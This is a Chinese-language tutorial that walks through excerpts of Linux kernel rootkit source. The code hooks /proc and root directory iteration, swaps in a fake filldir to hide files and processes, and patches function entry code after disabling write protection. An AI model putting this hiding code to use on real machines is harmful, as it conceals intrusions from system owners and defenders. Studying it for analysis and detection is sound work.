前面两篇讲了如何编译代码,以及函数hook的详细细节,这里讲一讲以下函数
/* Hook /proc for hiding processes */
proc_iterate = get_vfs_iterate("/proc");
hijack_start(proc_iterate, &n_proc_iterate);
这里主要是修改系统调用的函数入口地址,n_proc_iterate()这个是自定义函数
#define ITERATE_PROTO struct file *file, struct dir_context *ctx
#define FILLDIR_VAR ctx->actor
//REPLACE_FILLDIR被定义成宏
#define REPLACE_FILLDIR(ITERATE_FUNC, FILLDIR_FUNC) \
{ \
*((filldir_t *)&ctx->actor) = &FILLDIR_FUNC; \
ret = ITERATE_FUNC(file, ctx); \
}
struct sym_hook {
void *addr;
unsigned char o_code[HIJACK_SIZE];
unsigned char n_code[HIJACK_SIZE];
struct list_head list;
};
int n_proc_iterate ( ITERATE_PROTO )
{
int ret;
proc_filldir = FILLDIR_VAR;
hijack_pause(proc_iterate);
REPLACE_FILLDIR(proc_iterate, n_proc_filldir);
hijack_resume(proc_iterate);
return ret;
}
//初始化指针头
LIST_HEAD(hooked_syms);
void hijack_pause ( void *target )
{
struct sym_hook *sa;
DEBUG_HOOK("Pausing function hook 0x%p\n", target);
//遍历双向链表,寻找target
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
#if defined(_CONFIG_X86_) || defined(_CONFIG_X86_64_)
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->o_code, HIJACK_SIZE);
restore_wp(o_cr0);
#else // ARM
arm_write_hook(target, sa->o_code);
#endif
}
}
/*
list_for_each_entry
list_for_each_entry(pos,head,member)
iterate over list of given type
pos
the type * to use as a loop cursor.
head
the head for your list.
member
the name of the list_head within the struct.
*/
void hijack_resume ( void *target )
{
struct sym_hook *sa;
DEBUG_HOOK("Resuming function hook 0x%p\n", target);
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
#if defined(_CONFIG_X86_) || defined(_CONFIG_X86_64_)
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->n_code, HIJACK_SIZE);
restore_wp(o_cr0);
#else // ARM
arm_write_hook(target, sa->n_code);
#endif
}
}
将所有Hook函数组成一个双向链表,然后如果有相关API调用,则先遍历链表,修改函数入口地址,达到Hook效果。
这里说一说内核中遍历函数的步骤,sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ,低版本内核中就是filldir。
filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉 filldir ,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。
具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate为我们的假 iterate , 在假函数里把 struct dir_context 里的 actor替换成我们的 假 filldir ,假 filldir 会把需要隐藏的文件过滤掉。
下面讲讲细节,这个函数主要作用就是把sock传入的参数过滤掉,这里主要讲的文件,文件夹,端口隐藏都是类似的。
struct hidden_file {
char *name;
struct list_head list;
};
static int n_root_filldir( struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;
//比较链表中name和传入参数是否一致,如果一致则直接返回0,那么文件名就不被写入buff,ring 3 就看不到这个文件
list_for_each_entry ( hf, &hidden_files, list )
if ( ! strcmp(name, hf->name) )
return 0;
return root_filldir(nrf_ctx, name, namelen, offset, ino, d_type);
}